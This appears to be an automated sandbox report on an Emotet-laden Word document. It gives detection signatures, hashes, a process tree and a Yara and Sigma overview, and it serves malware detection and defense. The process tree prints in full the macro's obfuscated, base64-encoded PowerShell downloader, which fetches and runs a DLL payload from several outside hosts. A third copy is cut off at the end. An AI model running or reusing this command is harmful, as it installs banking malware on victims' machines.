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Analysis Report PO# 01222021.doc

Overview

General Information

Sample Name:PO# 01222021.doc
Analysis ID:344615
MD5:556b98b4cdae000de8f496d6d896743c
SHA1:b7ca4118eab252bc4758fa18265b04a2afbbf9c2
SHA256:dcfb145c4f46a072e988cdeafc065f8116dc3b27d6bed447024677f3ea2f252a

Most interesting Screenshot:

Detection

Emotet
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
System process connects to network (likely due to code injection or exploit)
Yara detected Emotet
Creates processes via WMI
Document contains an embedded VBA with many GOTO operations indicating source code obfuscation
Document contains an embedded VBA with many randomly named variables
Document contains an embedded VBA with many string operations indicating source code obfuscation
Encrypted powershell cmdline option found
Hides that the sample has been downloaded from the Internet (zone.identifier)
Machine Learning detection for dropped file
Obfuscated command line found
Potential dropper URLs found in powershell memory
Powershell drops PE file
Sigma detected: Suspicious Call by Ordinal
Sigma detected: Suspicious Encoded PowerShell Command Line
Suspicious powershell command line found
Very long command line found
Abnormal high CPU Usage
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains an invalid checksum
PE file contains sections with non-standard names
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Startup

  • System is w7x64
  • WINWORD.EXE (PID: 1288 cmdline: 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)
  • cmd.exe (PID: 2496 cmdline: cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IAAgAFMAdgAgACAAUABCADUAbwAgACAAKABbAFQAWQBwAEUAXQAoACIAewAyAH0AewAxAH0AewA1AH0AewAzAH0AewAwAH0AewA2AH0AewA0AH0AIgAgAC0ARgAgACcAVAAnACwAJwBFAE0ALgBJACcALAAnAFMAWQBzAFQAJwAsACcAZQBDACcALAAnAHkAJwAsACcAbwAuAEQASQBSACcALAAnAE8AUgAnACkAIAApACAAOwAgACAAUwBFAHQALQBJAFQARQBtACAAdgBBAFIASQBhAEIATABlADoAbQA3AGEAOQAgACgAWwB0AHkAcABFAF0AKAAiAHsANAB9AHsAMgB9AHsAMwB9AHsANQB9AHsAMQB9AHsANgB9AHsAMAB9AHsANwB9ACIAIAAtAGYAJwBuACcALAAnAEkAQwBFAHAATwBJAE4AdABtACcALAAnAG4AZQBUACcALAAnAC4AJwAsACcAcwB5AFMAdABlAE0ALgAnACwAJwBzAEUAUgB2ACcALAAnAEEAJwAsACcAYQBHAGUAcgAnACkAIAApACAAIAA7ACAAIAAkAEkAaAB2ADgAOQBfAGcAPQAkAE0AOQAxAEcAIAArACAAWwBjAGgAYQByAF0AKAAzADMAKQAgACsAIAAkAEgAMgAzAEQAOwAkAEQAOQA0AE0APQAoACgAJwBQADcAJwArACcAMgAnACkAKwAnAFgAJwApADsAIAAoAGcARQBUAC0AdgBhAHIAaQBhAEIAbABlACAAcABiADUAbwAgAC0AVgBBACkAOgA6ACIAYwByAEUAYQBUAGUAZABpAGAAUgBlAEMAdABgAG8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwA5AGsAJwArACcAdABOAGsAJwApACsAJwAyACcAKwAnAGQAJwArACgAJwB1AGgAYgA5ACcAKwAnAGsAdAAnACsAJwBHAHgAbABoACcAKQArACgAJwA5AGkAJwArACcAYQA5AGsAdAAnACkAKQAuACIAcgBFAGAAUABsAGEAQwBlACIAKAAoACcAOQAnACsAJwBrAHQAJwApACwAJwBcACcAKQApACkAOwAkAEoAOAA3AEgAPQAoACcAUwAnACsAKAAnADMANgAnACsAJwBOACcAKQApADsAIAAoACAAIAB2AGEAUgBJAGEAYgBsAGUAIAAgAE0ANwBhADkAIAAgAC0AVgBBACAAIAApADoAOgAiAFMARQBjAHUAcgBpAFQAWQBwAGAAUgBvAFQAbwBDAGAAbwBMACIAIAA9ACAAKAAoACcAVABsACcAKwAnAHMAJwApACsAJwAxADIAJwApADsAJABYADIAMgBVAD0AKAAnAEUAJwArACgAJwBfACcAKwAnAF8ARQAnACkAKQA7ACQAUAAyADcAcABxAGUAMwAgAD0AIAAoACcARQA2ACcAKwAnAF8AUgAnACkAOwAkAEYAMwA5AEwAPQAoACgAJwBRACcAKwAnADkANAAnACkAKwAnAFcAJwApADsAJABBAGQAMQByAGEAOABuAD0AJABIAE8ATQBFACsAKAAoACgAJwBLAGkAJwArACcAbQAnACkAKwAoACcATgBrADIAZAAnACsAJwB1AGgAYgAnACkAKwAnAEsAaQAnACsAJwBtACcAKwAoACcARwB4ACcAKwAnAGwAJwApACsAJwBoADkAJwArACgAJwBpACcAKwAnAGEASwBpACcAKQArACcAbQAnACkALQBSAGUAUABsAGEAYwBlACgAWwBDAEgAQQBSAF0ANwA1ACsAWwBDAEgAQQBSAF0AMQAwADUAKwBbAEMASABBAFIAXQAxADAAOQApACwAWwBDAEgAQQBSAF0AOQAyACkAKwAkAFAAMgA3AHAAcQBlADMAKwAnAC4AZAAnACAAKwAgACcAbABsACcAOwAkAFYAMgA4AFUAPQAoACcAQwA4ACcAKwAnADgASwAnACkAOwAkAE0AcgBpAHEAZAA1ADkAPQAnAGgAJwAgACsAIAAnAHQAdAAnACAAKwAgACcAcAAnADsAJABLAHcAMwA3ADkANAB4AD0AKAAnAHgAIAAnACsAJwBbACcAKwAoACcAIABzAGgAJwArACcAIAAnACkAKwAoACcAYgAnACsAJwA6AC8ALwBjAGEAYgAuAG0AeQAnACsAJwBrAGYAJwApACsAJwBuAC4AJwArACgAJwBjAG8AbQAnACsAJwAvACcAKQArACcAYQAnACsAKAAnAGQAJwArACcAbQBpAG4AJwApACsAJwAvACcAKwAoACcAWAAvACcAKwAnACEAJwApACsAJwB4ACcAKwAoACcAIAAnACsAJwBbACAAcwAnACkAKwAnAGgAJwArACgAJwAgAGIAJwArACcAOgAnACkAKwAoACcALwAnACsAJwAvAGIAaABhACcAKQArACcAawAnACsAJwB0AGkAJwArACgAJwB2AHIAaQBuAGQAJwArACcALgAnACsAJwBjAG8AbQAvAGMAJwApACsAJwBnACcAKwAoACcAaQAnACsAJwAtAGIAaQBuACcAKQArACgAJwAvACcAKwAnAEoAQgBiAGIAJwArACcAOAAnACsAJwAvACEAeAAgAFsAIAAnACkAKwAnAHMAaAAnACsAKAAnACAAYgAnACsAJwA6ACcAKQArACgAJwAvACcAKwAnAC8AdgBhAG4AJwArACcAZABkAG4AYQAnACkAKwAoACcAYgBoAGEAcgBnACcAKwAnAGEAJwApACsAJwB2AGUAJwArACgAJwAuAGMAJwArACcAbwAnACkAKwAoACcAbQAvAGEAcwBzACcAKwAnAGUAdAAnACkAKwAnAC8AVwAnACsAKAAnADkAbwAnACsAJwAvACcAKQArACcAIQAnACsAJwB4ACAAJwArACcAWwAgACcAKwAoACcAcwAnACsAJwBoACAAJwApACsAKAAnAGIAOgAnACsAJwAvACcAKQArACgAJwAvAGkAZQAtACcAKwAnAGIAJwArACcAZQAnACkAKwAoACcAcwAnACsAJwB0AC4AbgAnACkAKwAnAGUAJwArACgAJwB0AC8AbwAnACsAJwBuACcAKwAnAGwAaQBuACcAKQArACcAZQAnACsAKAAnAC0AJwArACcAdABpAG0AZQByACcAKwAnAC0AJwApACsAKAAnAGsAJwArACcAdgBoACcAKQArACgAJwB4AHoAJwArACcALwBpACcAKQArACcAbAAnACsAKAAnAFgAJwArACcATAAvACEAeAAnACkAKwAoACcAIABbACAAcwAnACsAJwBoACAAJwApACsAKAAnAGIAOgAnACsAJwAvACcAKQArACcALwAnACsAJwBnACcAKwAoACcAbwBjACcAKwAnAHAAJwArACcAaABvAG4AJwApACsAKAAnAGcAdABoACcAKwAnAGUAJwApACsAKAAnAC4AYwBvAG0ALwAnACsAJwB3AHAAJwArACcALQAnACkAKwAnAGMAbwAnACsAJwBuAHQAJwArACgAJwBlAG4AdAAvACcAKwAnAGwAJwApACsAJwBNACcAKwAoACcATQBDACcAKwAnAC8AIQAnACkAKwAoACcAeAAgACcAKwAnAFsAIABzACcAKQArACgAJwBoACcAKwAnACAAYgA6AC8ALwAnACsAJwB3AHcAJwApACsAJwB3ACcAKwAoACcALgBsACcAKwAnAGUAJwApACsAKAAnAHQAJwArACcAcwBjACcAKQArACcAbwBtACcAKwAnAHAAYQAnACsAKAAnAHIAJwArACcAZQBvAG4AJwApACsAKAAnAGwAJwArACcAaQBuACcAKQArACgAJwBlACcAKwAnAC4AYwAnACkAKwAoACcAbwBtAC8AZAAnACsAJwBlACcAKQArACgAJwAuAGwAJwArACcAZQB0ACcAKQArACcAcwBjACcAKwAnAG8AbQAnACsAJwBwACcAKwAnAGEAJwArACcAcgBlACcAKwAnAG8AbgAnACsAKAAnAGwAaQAnACsAJwBuAGUAJwApACsAKAAnAC4AJwArACcAYwBvAG0AJwArACcALwB3AFkAZAAvACcAKwAnACEAeAAgACcAKQArACcAWwAnACsAKAAnACAAcwAnACsAJwBoACAAYgAnACsAJwA6AC8AJwApACsAJwAvACcAKwAnAGMAYQAnACsAJwBtAGIAJwArACcAaQAnACsAKAAnAGEAcwB1AGgAJwArACcAaQAnACkAKwAoACcAcwB0AG8AcgAnACsAJwBpAGEAJwArACcALgBnAHIAbwB3ACcAKQArACcAbAAnACsAJwBhAGIAJwArACgAJwAuACcAKwAnAGUAcwAvAHcAcAAnACsAJwAtACcAKQArACcAYwBvACcAKwAnAG4AdAAnACsAJwBlAG4AJwArACcAdAAnACsAKAAnAC8AaAAnACsAJwBHAGgAWQAnACkAKwAnADIALwAnACkALgAiAHIAYABlAHAAYABMAEEAQwBlACIAKAAoACcAeAAgACcAKwAnAFsAJwArACgAJwAgAHMAaAAnACsAJwAgAGIAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAG4AagAnACwAJwB0AHIAJwApACwAJwB5AGoAJwAsACcAcwBjACcALAAkAE0AcgBpAHEAZAA1ADkALAAnAHcAZAAnACkAWwAzAF0AKQAuACIAcwBQAGwAYABpAHQAIgAoACQAQQA3ADYAQgAgACsAIAAkAEkAaAB2ADgAOQBfAGcAIAArACAAJABRADcAXwBSACkAOwAkAFYAOABfAEcAPQAoACgAJwBNACcAKwAnADUAMQAnACkAKwAnAFYAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABYAGoAOABzADEANQAxACAAaQBuACAAJABLAHcAMwA3ADkANAB4ACkAewB0AHIAeQB7ACgALgAoACcATgBlACcAKwAnAHcALQBPAGIAagBlAGMAJwArACcAdAAnACkAIABzAFkAUwB0AEUAbQAuAG4ARQBUAC4AdwBFAEIAQwBMAEkAZQBuAFQAKQAuACIAZABPAGAAdwBuAGAATABPAGEARABmAGkAbABlACIAKAAkAFgAagA4AHMAMQA1ADEALAAgACQAQQBkADEAcgBhADgAbgApADsAJABEADkANABKAD0AKAAnAEIAJwArACgAJwAzACcAKwAnADIARwAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABBAGQAMQByAGEAOABuACkALgAiAEwAYABFAG4AZwBgAFQASAAiACAALQBnAGUAIAAzADMAMQAyADAAKQAgAHsALgAoACcAcgB1AG4AZABsACcAKwAnAGwAMwAnACsAJwAyACcAKQAgACQAQQBkADEAcgBhADgAbgAsACgAJwBBACcAKwAnAG4AeQAnACsAKAAnAFMAdAByACcAKwAnAGkAJwApACsAJwBuAGcAJwApAC4AIgB0AE8AUwBUAFIAYABpAG4ARwAiACgAKQA7ACQAVgA3ADgAQgA9ACgAJwBTACcAKwAoACcAOAA1ACcAKwAnAEIAJwApACkAOwBiAHIAZQBhAGsAOwAkAFYAOABfAFAAPQAoACcARgA2ACcAKwAnADcATAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAMAA0AFYAPQAoACcASQAyACcAKwAnADYAWgAnACkA MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)
    • msg.exe (PID: 2524 cmdline: msg user /v Word experienced an error trying to open the file. MD5: 2214979661E779C3E3C33D4F14E6F3AC)
    • powershell.exe (PID: 1296 cmdline: powershell -w hidden -enc IAAgAFMAdgAgACAAUABCADUAbwAgACAAKABbAFQAWQBwAEUAXQAoACIAewAyAH0AewAxAH0AewA1AH0AewAzAH0AewAwAH0AewA2AH0AewA0AH0AIgAgAC0ARgAgACcAVAAnACwAJwBFAE0ALgBJACcALAAnAFMAWQBzAFQAJwAsACcAZQBDACcALAAnAHkAJwAsACcAbwAuAEQASQBSACcALAAnAE8AUgAnACkAIAApACAAOwAgACAAUwBFAHQALQBJAFQARQBtACAAdgBBAFIASQBhAEIATABlADoAbQA3AGEAOQAgACgAWwB0AHkAcABFAF0AKAAiAHsANAB9AHsAMgB9AHsAMwB9AHsANQB9AHsAMQB9AHsANgB9AHsAMAB9AHsANwB9ACIAIAAtAGYAJwBuACcALAAnAEkAQwBFAHAATwBJAE4AdABtACcALAAnAG4AZQBUACcALAAnAC4AJwAsACcAcwB5AFMAdABlAE0ALgAnACwAJwBzAEUAUgB2ACcALAAnAEEAJwAsACcAYQBHAGUAcgAnACkAIAApACAAIAA7ACAAIAAkAEkAaAB2ADgAOQBfAGcAPQAkAE0AOQAxAEcAIAArACAAWwBjAGgAYQByAF0AKAAzADMAKQAgACsAIAAkAEgAMgAzAEQAOwAkAEQAOQA0AE0APQAoACgAJwBQADcAJwArACcAMgAnACkAKwAnAFgAJwApADsAIAAoAGcARQBUAC0AdgBhAHIAaQBhAEIAbABlACAAcABiADUAbwAgAC0AVgBBACkAOgA6ACIAYwByAEUAYQBUAGUAZABpAGAAUgBlAEMAdABgAG8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwA5AGsAJwArACcAdABOAGsAJwApACsAJwAyACcAKwAnAGQAJwArACgAJwB1AGgAYgA5ACcAKwAnAGsAdAAnACsAJwBHAHgAbABoACcAKQArACgAJwA5AGkAJwArACcAYQA5AGsAdAAnACkAKQAuACIAcgBFAGAAUABsAGEAQwBlACIAKAAoACcAOQAnACsAJwBrAHQAJwApACwAJwBcACcAKQApACkAOwAkAEoAOAA3AEgAPQAoACcAUwAnACsAKAAnADMANgAnACsAJwBOACcAKQApADsAIAAoACAAIAB2AGEAUgBJAGEAYgBsAGUAIAAgAE0ANwBhADkAIAAgAC0AVgBBACAAIAApADoAOgAiAFMARQBjAHUAcgBpAFQAWQBwAGAAUgBvAFQAbwBDAGAAbwBMACIAIAA9ACAAKAAoACcAVABsACcAKwAnAHMAJwApACsAJwAxADIAJwApADsAJABYADIAMgBVAD0AKAAnAEUAJwArACgAJwBfACcAKwAnAF8ARQAnACkAKQA7ACQAUAAyADcAcABxAGUAMwAgAD0AIAAoACcARQA2ACcAKwAnAF8AUgAnACkAOwAkAEYAMwA5AEwAPQAoACgAJwBRACcAKwAnADkANAAnACkAKwAnAFcAJwApADsAJABBAGQAMQByAGEAOABuAD0AJABIAE8ATQBFACsAKAAoACgAJwBLAGkAJwArACcAbQAnACkAKwAoACcATgBrADIAZAAnACsAJwB1AGgAYgAnACkAKwAnAEsAaQAnACsAJwBtACcAKwAoACcARwB4ACcAKwAnAGwAJwApACsAJwBoADkAJwArACgAJwBpACcAKwAnAGEASwBpACcAKQArACcAbQAnACkALQBSAGUAUABsAGEAYwBlACgAWwBDAEgAQQBSAF0ANwA1ACsAWwBDAEgAQQBSAF0AMQAwADUAKwBbAEMASABBAFIAXQAxADAAOQApACwAWwBDAEgAQQBSAF0AOQAyACkAKwAkAFAAMgA3AHAAcQBlADMAKwAnAC4AZAAnACAAKwAgACcAbABsACcAOwAkAFYAMgA4AFUAPQAoACcAQwA4ACcAKwAnADgASwAnACkAOwAkAE0AcgBpAHEAZAA1ADkAPQAnAGgAJwAgACsAIAAnAHQAdAAnACAAKwAgACcAcAAnADsAJABLAHcAMwA3ADkANAB4AD0AKAAnAHgAIAAnACsAJwBbACcAKwAoACcAIABzAGgAJwArACcAIAAnACkAKwAoACcAYgAnACsAJwA6AC8ALwBjAGEAYgAuAG0AeQAnACsAJwBrAGYAJwApACsAJwBuAC4AJwArACgAJwBjAG8AbQAnACsAJwAvACcAKQArACcAYQAnACsAKAAnAGQAJwArACcAbQBpAG4AJwApACsAJwAvACcAKwAoACcAWAAvACcAKwAnACEAJwApACsAJwB4ACcAKwAoACcAIAAnACsAJwBbACAAcwAnACkAKwAnAGgAJwArACgAJwAgAGIAJwArACcAOgAnACkAKwAoACcALwAnACsAJwAvAGIAaABhACcAKQArACcAawAnACsAJwB0AGkAJwArACgAJwB2AHIAaQBuAGQAJwArACcALgAnACsAJwBjAG8AbQAvAGMAJwApACsAJwBnACcAKwAoACcAaQAnACsAJwAtAGIAaQBuACcAKQArACgAJwAvACcAKwAnAEoAQgBiAGIAJwArACcAOAAnACsAJwAvACEAeAAgAFsAIAAnACkAKwAnAHMAaAAnACsAKAAnACAAYgAnACsAJwA6ACcAKQArACgAJwAvACcAKwAnAC8AdgBhAG4AJwArACcAZABkAG4AYQAnACkAKwAoACcAYgBoAGEAcgBnACcAKwAnAGEAJwApACsAJwB2AGUAJwArACgAJwAuAGMAJwArACcAbwAnACkAKwAoACcAbQAvAGEAcwBzACcAKwAnAGUAdAAnACkAKwAnAC8AVwAnACsAKAAnADkAbwAnACsAJwAvACcAKQArACcAIQAnACsAJwB4ACAAJwArACcAWwAgACcAKwAoACcAcwAnACsAJwBoACAAJwApACsAKAAnAGIAOgAnACsAJwAvACcAKQArACgAJwAvAGkAZQAtACcAKwAnAGIAJwArACcAZQAnACkAKwAoACcAcwAnACsAJwB0AC4AbgAnACkAKwAnAGUAJwArACgAJwB0AC8AbwAnACsAJwBuACcAKwAnAGwAaQBuACcAKQArACcAZQAnACsAKAAnAC0AJwArACcAdABpAG0AZQByACcAKwAnAC0AJwApACsAKAAnAGsAJwArACcAdgBoACcAKQArACgAJwB4AHoAJwArACcALwBpACcAKQArACcAbAAnACsAKAAnAFgAJwArACcATAAvACEAeAAnACkAKwAoACcAIABbACAAcwAnACsAJwBoACAAJwApACsAKAAnAGIAOgAnACsAJwAvACcAKQArACcALwAnACsAJwBnACcAKwAoACcAbwBjACcAKwAnAHAAJwArACcAaABvAG4AJwApACsAKAAnAGcAdABoACcAKwAnAGUAJwApACsAKAAnAC4AYwBvAG0ALwAnACsAJwB3AHAAJwArACcALQAnACkAKwAnAGMAbwAnACsAJwBuAHQAJwArACgAJwBlAG4AdAAvACcAKwAnAGwAJwApACsAJwBNACcAKwAoACcATQBDACcAKwAnAC8AIQAnACkAKwAoACcAeAAgACcAKwAnAFsAIABzACcAKQArACgAJwBoACcAKwAnACAAYgA6AC8ALwAnACsAJwB3AHcAJwApACsAJwB3ACcAKwAoACcALgBsACcAKwAnAGUAJwApACsAKAAnAHQAJwArACcAcwBjACcAKQArACcAbwBtACcAKwAnAHAAYQAnACsAKAAnAHIAJwArACcAZQBvAG4AJwApACsAKAAnAGwAJwArACcAaQBuACcAKQArACgAJwBlACcAKwAnAC4AYwAnACkAKwAoACcAbwBtAC8AZAAnACsAJwBlACcAKQArACgAJwAuAGwAJwArACcAZQB0ACcAKQArACcAcwBjACcAKwAnAG8AbQAnACsAJwBwACcAKwAnAGEAJwArACcAcgBlACcAKwAnAG8AbgAnACsAKAAnAGwAaQAnACsAJwBuAGUAJwApACsAKAAnAC4AJwArACcAYwBvAG0AJwArACcALwB3AFkAZAAvACcAKwAnACEAeAAgACcAKQArACcAWwAnACsAKAAnACAAcwAnACsAJwBoACAAYgAnACsAJwA6AC8AJwApACsAJwAvACcAKwAnAGMAYQAnACsAJwBtAGIAJwArACcAaQAnACsAKAAnAGEAcwB1AGgAJwArACcAaQAnACkAKwAoACcAcwB0AG8AcgAnACsAJwBpAGEAJwArACcALgBnAHIAbwB3ACcAKQArACcAbAAnACsAJwBhAGIAJwArACgAJwAuACcAKwAnAGUAcwAvAHcAcAAnACsAJwAtACcAKQArACcAYwBvACcAKwAnAG4AdAAnACsAJwBlAG4AJwArACcAdAAnACsAKAAnAC8AaAAnACsAJwBHAGgAWQAnACkAKwAnADIALwAnACkALgAiAHIAYABlAHAAYABMAEEAQwBlACIAKAAoACcAeAAgACcAKwAnAFsAJwArACgAJwAgAHMAaAAnACsAJwAgAGIAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAG4AagAnACwAJwB0AHIAJwApACwAJwB5AGoAJwAsACcAcwBjACcALAAkAE0AcgBpAHEAZAA1ADkALAAnAHcAZAAnACkAWwAzAF0AKQAuACIAcwBQAGwAYABpAHQAIgAoACQAQQA3ADYAQgAgACsAIAAkAEkAaAB2ADgAOQBfAGcAIAArACAAJABRADcAXwBSACkAOwAkAFYAOABfAEcAPQAoACgAJwBNACcAKwAnADUAMQAnACkAKwAnAFYAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABYAGoAOABzADEANQAxACAAaQBuACAAJABLAHcAMwA3ADkANAB4ACkAewB0AHIAeQB7ACgALgAoACcATgBlACcAKwAnAHcALQBPAGIAagBlAGMAJwArACcAdAAnACkAIABzAFkAUwB0AEUAbQAuAG4ARQBUAC4AdwBFAEIAQwBMAEkAZQBuAFQAKQAuACIAZABPAGAAdwBuAGAATABPAGEARABmAGkAbABlACIAKAAkAFgAagA4AHMAMQA1ADEALAAgACQAQQBkADEAcgBhADgAbgApADsAJABEADkANABKAD0AKAAnAEIAJwArACgAJwAzACcAKwAnADIARwAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABBAGQAMQByAGEAOABuACkALgAiAEwAYABFAG4AZwBgAFQASAAiACAALQBnAGUAIAAzADMAMQAyADAAKQAgAHsALgAoACcAcgB1AG4AZABsACcAKwAnAGwAMwAnACsAJwAyACcAKQAgACQAQQBkADEAcgBhADgAbgAsACgAJwBBACcAKwAnAG4AeQAnACsAKAAnAFMAdAByACcAKwAnAGkAJwApACsAJwBuAGcAJwApAC4AIgB0AE8AUwBUAFIAYABpAG4ARwAiACgAKQA7ACQAVgA3ADgAQgA9ACgAJwBTACcAKwAoACcAOAA1ACcAKwAnAEIAJwApACkAOwBiAHIAZQBhAGsAOwAkAFYAOABfAFAAPQAoACcARgA2ACcAKwAnADcATAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAMAA0AFYAPQAoACcASQAyACcAKwAnADYAWgAnACkA MD5: 852D67A27E454BD389FA7F02A8CBE23F)
      • rundll32.exe (PID: 2832 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\Nk2duhb\Gxlh9ia\E6_R.dll AnyString MD5: DD81D91FF3B0763C392422865C9AC12E)
        • rundll32.exe (PID: 2780 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\Nk2duhb\Gxlh9ia\E6_R.dll AnyString MD5: 51138BEEA3E2C21EC44D0932C71762A8)
          • rundll32.exe (PID: 2896 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Nk2duhb\Gxlh9ia\E6_R.dll',#1 MD5: 51138BEEA3E2C21EC44D0932C71762A8)
            • rundll32.exe (PID: 2936 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Agilzgamuljjdwml\mwfcqgtqrgsdamx.pjv',NRUAmATPeNJ MD5: 51138BEEA3E2C21EC44D0932C71762A8)
              • rundll32.exe (PID: 2480 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Agilzgamuljjdwml\mwfcqgtqrgsdamx.pjv',#1 MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                • rundll32.exe (PID: 1948 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Obbeicpozdckojlb\bhzpo.yca',VDZITWzoE MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                  • rundll32.exe (PID: 2844 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Obbeicpozdckojlb\bhzpo.yca',#1 MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                    • rundll32.exe (PID: 3028 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Bpqpm\gwvn.lsl',KCoulWayDpJU MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                      • rundll32.exe (PID: 3000 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Bpqpm\gwvn.lsl',#1 MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                        • rundll32.exe (PID: 2260 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Upjyf\ffrm.rmq',iFoslrVsudBDI MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                          • rundll32.exe (PID: 1756 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Upjyf\ffrm.rmq',#1 MD5: 51138BEEA3E2C21EC44D0932C71762A8)
  • cleanup

Malware Configuration

Threatname: Emotet

{"RSA Public Key": "MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhANQOcBKvh5xEW7VcJ9totsjdBwuAclxS\nQ0e09fk8V053lktpW3TRrzAW63yt6j1KWnyxMrU3igFXypBoI4lVNmkje4UPtIIS\nfkzjEIvG1v/ZNn1k0J0PfFTxbFFeUEs3AwIDAQAB"}

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000009.00000002.2125204739.0000000000210000.00000040.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
    00000010.00000002.2340896532.0000000010000000.00000040.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
      0000000D.00000002.2169811211.00000000001D0000.00000040.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
        0000000E.00000002.2182561871.00000000001E0000.00000040.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
          0000000A.00000002.2135567121.0000000000210000.00000040.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
            Click to see the 25 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            12.2.rundll32.exe.10000000.3.raw.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
              13.2.rundll32.exe.10000000.2.raw.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
                16.2.rundll32.exe.10000000.2.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
                  8.2.rundll32.exe.190000.0.raw.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
                    13.2.rundll32.exe.1d0000.1.raw.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
                      Click to see the 55 entries

                      Sigma Overview

                      System Summary:

                      barindex
                      Sigma detected: Suspicious Call by OrdinalShow sources
                      Source: Process startedAuthor: Florian Roth: Data: Command: C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Nk2duhb\Gxlh9ia\E6_R.dll',#1, CommandLine: C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Nk2duhb\Gxlh9ia\E6_R.dll',#1, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: 'C:\Windows\system32\rundll32.exe' C:\Users\user\Nk2duhb\Gxlh9ia\E6_R.dll AnyString, ParentImage: C:\Windows\SysWOW64\rundll32.exe, ParentProcessId: 2780, ProcessCommandLine: C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Nk2duhb\Gxlh9ia\E6_R.dll',#1, ProcessId: 2896
                      Sigma detected: Suspicious Encoded PowerShell Command LineShow sources
                      Source: Process startedAuthor: Florian Roth, Markus Neis: Data: Command: powershell -w hidden -enc IAAgAFMAdgAgACAAUABCADUAbwAgACAAKABbAFQAWQBwAEUAXQAoACIAewAyAH0AewAxAH0AewA1AH0AewAzAH0AewAwAH0AewA2AH0AewA0AH0AIgAgAC0ARgAgACcAVAAnACwAJwBFAE0ALgBJACcALAAnAFMAWQBzAFQAJwAsACcAZQBDACcALAAnAHkAJwAsACcAbwAuAEQASQBSACcALAAnAE8AUgAnACkAIAApACAAOwAgACAAUwBFAHQALQBJAFQARQBtACAAdgBBAFIASQBhAEIATABlADoAbQA3AGEAOQAgACgAWwB0AHkAcABFAF0AKAAiAHsANAB9AHsAMgB9AHsAMwB9AHsANQB9AHsAMQB9AHsANgB9AHsAMAB9AHsANwB9ACIAIAAtAGYAJwBuACcALAAnAEkAQwBFAHAATwBJAE4AdABtACcALAAnAG4AZQBUACcALAAnAC4AJwAsACcAcwB5AFMAdABlAE0ALgAnACwAJwBzAEUAUgB2ACcALAAnAEEAJwAsACcAYQBHAGUAcgAnACkAIAApACAAIAA7ACAAIAAkAEkAaAB2ADgAOQBfAGcAPQAkAE0AOQAxAEcAIAArACAAWwBjAGgAYQByAF0AKAAzAD